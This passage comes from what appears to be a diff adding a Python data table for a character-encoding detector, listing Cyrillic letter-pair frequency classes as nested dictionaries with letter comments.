+ 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 60: { # 'Й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 36: { # 'К' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 49: { # 'Л' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 38: { # 'М' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 31: { # 'Н' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 34: { # 'О' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 2, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 2, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 35: { # 'П' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 1, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 45: { # 'Р' + 37: 2, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 32: { # 'С' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 2, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 40: { # 'Т' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 52: { # 'У' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 53: { # 'Ф' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 55: { # 'Х' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 58: { # 'Ц' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 50: { # 'Ч' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 57: { # 'Ш' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 63: { # 'Щ' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 1, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 62: { # 'Ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 